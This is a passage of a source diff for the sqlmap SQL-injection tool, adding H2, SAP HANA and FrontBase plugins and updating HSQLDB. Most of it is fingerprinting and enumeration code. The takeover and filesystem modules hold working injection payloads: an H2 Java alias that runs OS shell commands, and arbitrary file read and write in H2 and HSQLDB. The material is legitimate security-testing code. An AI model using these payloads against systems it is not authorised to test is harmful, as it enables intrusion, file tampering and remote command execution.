file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py new file mode 100644 index 00000000000..bc7787c6109 --- /dev/null +++ b/plugins/dbms/frontbase/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on FrontBase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on FrontBase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on FrontBase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on FrontBase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py new file mode 100644 index 00000000000..fbefae0055a --- /dev/null +++ b/plugins/dbms/h2/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import H2_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.h2.enumeration import Enumeration +from plugins.dbms.h2.filesystem import Filesystem +from plugins.dbms.h2.fingerprint import Fingerprint +from plugins.dbms.h2.syntax import Syntax +from plugins.dbms.h2.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines H2 methods + """ + + def __init__(self): + self.excludeDbsList = H2_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.H2] = Syntax.escape diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py new file mode 100644 index 00000000000..ec625e31f8b --- /dev/null +++ b/plugins/dbms/h2/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on H2 it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py new file mode 100644 index 00000000000..9dc1131d329 --- /dev/null +++ b/plugins/dbms/h2/enumeration.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import unArrayizeValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import DBMS +from lib.core.settings import H2_DEFAULT_SCHEMA +from lib.request import inject +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + if not conf.getBanner: + return + + if kb.data.banner is None: + infoMsg = "fetching banner" + logger.info(infoMsg) + + query = queries[DBMS.H2].banner.query + kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) + + return kb.data.banner + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on H2 it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on H2 it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getCurrentDb(self): + return H2_DEFAULT_SCHEMA + + def getPasswordHashes(self): + warnMsg = "on H2 it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on H2 it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py new file mode 100644 index 00000000000..e29f2fe8dfe --- /dev/null +++ b/plugins/dbms/h2/filesystem.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import checkFile +from lib.core.convert import encodeHex +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.request import inject +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def nonStackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required) + result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + + return result + + def stackedReadFile(self, remoteFile): + # H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive + return self.nonStackedReadFile(remoteFile) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + checkFile(localFile) + self.checkDbmsOs() + + with open(localFile, "rb") as f: + content = f.read() + + infoMsg = "writing the file content to '%s'" % remoteFile + logger.info(infoMsg) + + # NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no + # stacked queries. Content is passed as a binary hex literal (X'..') so arbitrary/binary bytes survive + # byte-for-byte - the old STRINGTOUTF8() of a getText()-decoded string mangled any non-UTF-8 content, + # and H2 has no string->binary decoder (HEXTORAW/base64/UNHEX absent); cf. MySQL's 0x<hex> literal + inject.getValue("CAST(FILE_WRITE(X'%s','%s') AS INT)" % (encodeHex(content, binary=False), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py new file mode 100644 index 00000000000..44252d1ea1f --- /dev/null +++ b/plugins/dbms/h2/fingerprint.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS +from lib.core.session import setDbms +from lib.core.settings import H2_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.H2) + + def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("EXISTS(SELECT * FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='IGNITE')"): + fork = FORK.IGNITE + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.H2 + if fork: + value += " (%s fork)" % fork + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES): + setDbms("%s %s" % (DBMS.H2, Backend.getVersion())) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.H2 + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ZERO()=0") + + if result: + infoMsg = "confirming %s" % DBMS.H2 + logger.info(infoMsg) + + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.H2 + logger.warning(warnMsg) + + return False + else: + setDbms(DBMS.H2) + + result = inject.checkBooleanExpression("JSON_OBJECT() IS NOT NULL") + version = '2' if result else '1' + Backend.setVersion(version) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.H2 + logger.warning(warnMsg) + + return False + + def getHostname(self): + warnMsg = "on H2 it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py new file mode 100644 index 00000000000..cfc1c86a8ca --- /dev/null +++ b/plugins/dbms/h2/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py new file mode 100644 index 00000000000..50b62af5444 --- /dev/null +++ b/plugins/dbms/h2/takeover.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.enums import OS +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + self._createExecAlias() + self.runCmd(conf.osCmd) + + def osShell(self): + self._createExecAlias() + self.shell() + + def _createExecAlias(self): + # NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids + # single-quote escaping and survives stacked-query injection intact + if not kb.get("h2ExecAlias"): + kb.h2ExecAlias = randomStr(lowercase=True) + argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"' + # NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL + # statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java + source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv + inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source)) + + def h2ExecCmd(self, cmd, silent=False): + self._createExecAlias() + inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''"))) + + def h2EvalCmd(self, cmd, first=None, last=None): + self._createExecAlias() + return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False) + + def osPwn(self): + errMsg = "on H2 it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on H2 it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hana/__init__.py b/plugins/dbms/hana/__init__.py new file mode 100644 index 00000000000..81dbccf257c --- /dev/null +++ b/plugins/dbms/hana/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import HANA_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.hana.enumeration import Enumeration +from plugins.dbms.hana.filesystem import Filesystem +from plugins.dbms.hana.fingerprint import Fingerprint +from plugins.dbms.hana.syntax import Syntax +from plugins.dbms.hana.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class HANAMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines SAP HANA methods + """ + + def __init__(self): + self.excludeDbsList = HANA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.HANA] = Syntax.escape diff --git a/plugins/dbms/hana/connector.py b/plugins/dbms/hana/connector.py new file mode 100644 index 00000000000..b01385ce82a --- /dev/null +++ b/plugins/dbms/hana/connector.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + from hdbcli import dbapi +except ImportError: + pass + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://pypi.org/project/hdbcli/ + User guide: https://help.sap.com/docs/SAP_HANA_PLATFORM/f1b440ded6144a54ada97ff95dac7adf/4fe9978ebac44f35b9369ef5a4a6d73e.html + API: https://help.sap.com/docs/SAP_HANA_CLIENT/f1b440ded6144a54ada97ff95dac7adf/39eb663beaab4f7b94850834e6cb6280.html + Debian package: not available + License: SAP Developer License + """ + + def connect(self): + self.initConnection() + + try: + self.connector = dbapi.connect(address=self.hostname, port=self.port, user=self.user, password=self.password, databaseName=self.db) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except dbapi.Error as ex: + logger.warning(getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except dbapi.Error as ex: + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/hana/enumeration.py b/plugins/dbms/hana/enumeration.py new file mode 100644 index 00000000000..24e6e5d3808 --- /dev/null +++ b/plugins/dbms/hana/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on SAP HANA it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/hana/filesystem.py b/plugins/dbms/hana/filesystem.py new file mode 100644 index 00000000000..5992ee66aff --- /dev/null +++ b/plugins/dbms/hana/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on SAP HANA reading of files is not supported" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on SAP HANA writing of files is not supported" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hana/fingerprint.py b/plugins/dbms/hana/fingerprint.py new file mode 100644 index 00000000000..bd292f3f8dd --- /dev/null +++ b/plugins/dbms/hana/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import HANA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.HANA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.HANA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(HANA_ALIASES): + setDbms(DBMS.HANA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.HANA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("MAP(1,1,'[RANDSTR1]','[RANDSTR2]')='[RANDSTR1]'") + + if result: + infoMsg = "confirming %s" % DBMS.HANA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT CURRENT_SCHEMA FROM DUMMY) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.HANA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.HANA) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.HANA + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/hana/syntax.py b/plugins/dbms/hana/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/hana/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/hana/takeover.py b/plugins/dbms/hana/takeover.py new file mode 100644 index 00000000000..b21c4f7e858 --- /dev/null +++ b/plugins/dbms/hana/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on SAP HANA it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on SAP HANA it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on SAP HANA it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on SAP HANA it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index 128704f61d1..9a667f25a38 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class HSQLDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = HSQLDB_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.HSQLDB] = Syntax.escape diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 0496badb4ec..494c2988bbd 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import jaydebeapi import jpype -except ImportError, msg: +except: pass import logging from lib.core.common import checkFile +from lib.core.common import getSafeExString from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger @@ -29,30 +30,25 @@ class Connector(GenericConnector): License: LGPL & Apache License 2.0 """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: - msg = "what's the location of 'hsqldb.jar'? " + msg = "please enter the location of 'hsqldb.jar'? " jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar - jvm_path = jpype.getDefaultJVMPath() - jpype.startJVM(jvm_path, args) - except Exception, msg: - raise SqlmapConnectionException(msg[0]) + if not jpype.isJVMStarted(): + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) try: driver = 'org.hsqldb.jdbc.JDBCDriver' - connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) - self.connector = jaydebeapi.connect(driver, - connection_string, - str(self.user), - str(self.password)) - except Exception, msg: - raise SqlmapConnectionException(msg[0]) + connection_string = 'jdbc:hsqldb:hsql://%s:%s/%s' % (self.hostname, self.port, self.db) # was hardcoded to 'jdbc:hsqldb:mem:.' (a fresh empty in-memory DB), ignoring the -d target + self.connector = jaydebeapi.connect(driver, connection_string, [str(self.user), str(self.password)]) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -60,8 +56,8 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except Exception, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): @@ -70,8 +66,8 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except Exception, msg: #todo fix with specific error - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 67744d4b5f2..a45484c4571 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,24 +1,21 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from plugins.generic.enumeration import Enumeration as GenericEnumeration +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries -from lib.core.common import Backend -from lib.core.common import unArrayizeValue +from lib.core.enums import DBMS from lib.core.settings import HSQLDB_DEFAULT_SCHEMA from lib.request import inject +from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getBanner(self): if not conf.getBanner: return @@ -27,20 +24,26 @@ def getBanner(self): infoMsg = "fetching banner" logger.info(infoMsg) - query = queries[Backend.getIdentifiedDbms()].banner.query + query = queries[DBMS.HSQLDB].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) return kb.data.banner - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): return HSQLDB_DEFAULT_SCHEMA + + def getStatements(self): + warnMsg = "on HSQLDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index 3e9dd90263a..2bd06696c50 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,21 +1,60 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.common import randomStr +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import PLACE +from lib.request import inject from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): - errMsg = "on HSQLDB it is not possible to read files" - raise SqlmapUnsupportedFeatureException(errMsg) + @stackedmethod + def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + func_name = randomStr() + max_bytes = 1024 * 1024 + + debugMsg = "creating JLP procedure '%s'" % func_name + logger.debug(debugMsg) + + addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (func_name, max_bytes) + addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL " + addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'" + inject.goStacked(addFuncQuery) + + fcEncodedList = self.fileEncode(localFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "as the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warning(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) + logger.debug(debugMsg) + + # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures + invokeQuery = "CALL %s('%s', X'%s')" % (func_name, remoteFile, fcEncodedStr) + inject.goStacked(invokeQuery) + + logger.debug("cleaning up the database management system") + + delQuery = "DROP PROCEDURE %s" % func_name + inject.goStacked(delQuery) + + message = "the local file '%s' has been written on the back-end DBMS" % localFile + message += "file system ('%s')" % remoteFile + logger.info(message) diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 9f527a601ff..b58faee05da 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -16,7 +16,6 @@ from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import HSQLDB_ALIASES -from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -28,13 +27,13 @@ def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) - if wsOsFp and not hasattr(conf, "api"): + if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) - if dbmsOsFp and not hasattr(conf, "api"): + if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " @@ -48,13 